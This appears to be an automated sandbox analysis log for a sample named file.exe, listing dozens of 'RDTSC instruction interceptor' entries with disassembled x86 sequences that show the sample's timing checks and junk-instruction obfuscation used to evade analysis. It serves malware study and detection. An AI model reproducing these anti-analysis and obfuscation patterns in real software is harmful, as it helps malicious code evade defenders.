Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55204B0 second address: 55204EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 47B4h 0x00000007 push edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 mov dl, 3Eh 0x00000012 pushfd 0x00000013 jmp 00007F99D0DE6F2Eh 0x00000018 adc ecx, 55F2A568h 0x0000001e jmp 00007F99D0DE6F2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55204EC second address: 5520507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520507 second address: 552051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0DE6F34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530F30 second address: 5530F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530F34 second address: 5530FAB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0DE6F30h 0x00000008 adc ax, 1118h 0x0000000d jmp 00007F99D0DE6F2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F99D0DE6F38h 0x0000001b sbb cx, FB78h 0x00000020 jmp 00007F99D0DE6F2Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a mov ax, DACBh 0x0000002e mov ebx, eax 0x00000030 popad 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F99D0DE6F39h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556073F second address: 5560745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560745 second address: 5560749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560749 second address: 556076C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99D0D12E26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556076C second address: 5560772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560772 second address: 55607CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007F99D0D12E1Ah 0x00000015 sbb eax, 79F146A8h 0x0000001b jmp 00007F99D0D12E1Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr [774365FCh] 0x00000027 jmp 00007F99D0D12E26h 0x0000002c test eax, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 movsx edx, ax 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607CD second address: 55607D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607D2 second address: 5560819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9A42B65F91h 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 call 00007F99D0D12E29h 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b popad 0x0000001c mov ecx, eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov ecx, edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560819 second address: 5560844 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 98h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, CAh 0x00000008 popad 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F99D0DE6F36h 0x00000011 and ecx, 1Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560844 second address: 556084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556084A second address: 5560850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560904 second address: 556094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 17B2h 0x00000007 mov al, bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F99D0D12E20h 0x00000014 and eax, 2BD280C8h 0x0000001a jmp 00007F99D0D12E1Bh 0x0000001f popfd 0x00000020 mov ax, 663Fh 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F99D0D12E21h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556094F second address: 5560954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560954 second address: 556098E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F99D0D12E1Dh 0x0000000a add al, FFFFFF96h 0x0000000d jmp 00007F99D0D12E21h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F99D0D12E1Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556098E second address: 55609C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0DE6F37h 0x00000009 xor cl, 0000007Eh 0x0000000c jmp 00007F99D0DE6F39h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551002F second address: 5510047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510047 second address: 551004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551004B second address: 551005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c movzx esi, dx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551005A second address: 55100D4 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 38830BE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 1170FE94h 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007F99D0DE6F33h 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d mov bh, 56h 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 pushad 0x00000024 push ecx 0x00000025 call 00007F99D0DE6F35h 0x0000002a pop esi 0x0000002b pop ebx 0x0000002c mov eax, 00695EFDh 0x00000031 popad 0x00000032 xchg eax, ecx 0x00000033 jmp 00007F99D0DE6F38h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F99D0DE6F2Eh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55100D4 second address: 55100E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55100E6 second address: 55100EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510224 second address: 551028A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0D12E27h 0x00000009 xor si, 3C5Eh 0x0000000e jmp 00007F99D0D12E29h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, edi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F99D0D12E1Ah 0x00000021 jmp 00007F99D0D12E25h 0x00000026 popfd 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551028A second address: 551028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551028E second address: 55102BF instructions: 0x00000000 rdtsc 0x00000002 call 00007F99D0D12E1Ch 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test esi, esi 0x0000000d jmp 00007F99D0D12E21h 0x00000012 je 00007F9A42BB1178h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55102BF second address: 55102C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55102C5 second address: 55102CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55102CB second address: 55102CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55102CF second address: 5510384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f jmp 00007F99D0D12E28h 0x00000014 je 00007F9A42BB114Bh 0x0000001a jmp 00007F99D0D12E20h 0x0000001f mov edx, dword ptr [esi+44h] 0x00000022 jmp 00007F99D0D12E20h 0x00000027 or edx, dword ptr [ebp+0Ch] 0x0000002a pushad 0x0000002b jmp 00007F99D0D12E1Eh 0x00000030 pushfd 0x00000031 jmp 00007F99D0D12E22h 0x00000036 sbb esi, 7C283438h 0x0000003c jmp 00007F99D0D12E1Bh 0x00000041 popfd 0x00000042 popad 0x00000043 test edx, 61000000h 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushfd 0x0000004d jmp 00007F99D0D12E22h 0x00000052 adc cx, 2E98h 0x00000057 jmp 00007F99D0D12E1Bh 0x0000005c popfd 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510384 second address: 55103A1 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov cx, dx 0x0000000a popad 0x0000000b jne 00007F9A42C8521Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99D0DE6F2Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55103A1 second address: 55103D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d jmp 00007F99D0D12E26h 0x00000012 jne 00007F9A42BB10EDh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55103D6 second address: 55103DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55103DC second address: 5510413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0D12E22h 0x00000009 sub ah, FFFFFFB8h 0x0000000c jmp 00007F99D0D12E1Bh 0x00000011 popfd 0x00000012 mov dl, ah 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test bl, 00000007h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov si, 3383h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510413 second address: 5510419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500830 second address: 5500845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500845 second address: 5500875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov bx, 946Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f mov si, A907h 0x00000013 mov edx, ecx 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F99D0DE6F35h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500875 second address: 55008BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cx, EA73h 0x00000010 mov ah, BAh 0x00000012 popad 0x00000013 and esp, FFFFFFF8h 0x00000016 jmp 00007F99D0D12E1Bh 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F99D0D12E25h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55008BA second address: 55008C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55008C0 second address: 550094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F99D0D12E24h 0x00000010 adc ecx, 7F2A8708h 0x00000016 jmp 00007F99D0D12E1Bh 0x0000001b popfd 0x0000001c mov dl, ah 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F99D0D12E1Bh 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F99D0D12E24h 0x0000002d and ch, FFFFFF98h 0x00000030 jmp 00007F99D0D12E1Bh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007F99D0D12E24h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F99D0D12E1Ah 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550094B second address: 550094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550094F second address: 5500955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500955 second address: 5500985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F99D0DE6F2Bh 0x00000013 sub ebx, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F99D0DE6F31h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500985 second address: 550098B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550098B second address: 55009A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 mov ebx, 439227DAh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55009A0 second address: 55009A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 2ADFh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55009A9 second address: 55009E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4EA28656h 0x00000008 jmp 00007F99D0DE6F37h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F9A42C8C8E9h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F99D0DE6F30h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55009E5 second address: 55009EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55009EB second address: 5500A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F99D0DE6F30h 0x00000015 mov ecx, esi 0x00000017 pushad 0x00000018 mov cl, CAh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F99D0DE6F39h 0x00000022 jmp 00007F99D0DE6F2Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500A41 second address: 5500AC3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0D12E28h 0x00000008 xor ecx, 2D7DCEC8h 0x0000000e jmp 00007F99D0D12E1Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 je 00007F9A42BB8748h 0x0000001d pushad 0x0000001e jmp 00007F99D0D12E24h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F99D0D12E20h 0x0000002a jmp 00007F99D0D12E25h 0x0000002f popfd 0x00000030 popad 0x00000031 popad 0x00000032 test byte ptr [77436968h], 00000002h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500AC3 second address: 5500AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500AC7 second address: 5500ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500ACB second address: 5500AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500AD1 second address: 5500AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99D0D12E27h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500AED second address: 5500B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F9A42C8C7E8h 0x0000000d pushad 0x0000000e mov dl, cl 0x00000010 mov dx, ACE2h 0x00000014 popad 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 mov edi, 0DD8F63Ah 0x0000001e call 00007F99D0DE6F2Bh 0x00000023 pop edi 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F99D0DE6F32h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F99D0DE6F2Dh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B3D second address: 5500B43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B43 second address: 5500BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F99D0DE6F30h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F99D0DE6F30h 0x00000015 push eax 0x00000016 jmp 00007F99D0DE6F2Bh 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F99D0DE6F36h 0x00000021 push dword ptr [ebp+14h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F99D0DE6F37h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C1C second address: 5500C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C20 second address: 5500C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C26 second address: 5500C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C2C second address: 5500C3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C3A second address: 5500C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C41 second address: 5500CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0DE6F36h 0x00000009 or eax, 7B4C0DA8h 0x0000000f jmp 00007F99D0DE6F2Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F99D0DE6F38h 0x0000001b jmp 00007F99D0DE6F35h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov esp, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov ecx, ebx 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500CA9 second address: 5500CCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99D0D12E1Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500CCE second address: 5500CDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500CDD second address: 5500CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510C15 second address: 5510C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510C1B second address: 5510C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510C1F second address: 5510C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510C2F second address: 5510C35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510C35 second address: 5510C8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99D0DE6F31h 0x00000008 call 00007F99D0DE6F30h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F99D0DE6F2Ah 0x0000001a pushfd 0x0000001b jmp 00007F99D0DE6F32h 0x00000020 or ch, 00000018h 0x00000023 jmp 00007F99D0DE6F2Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
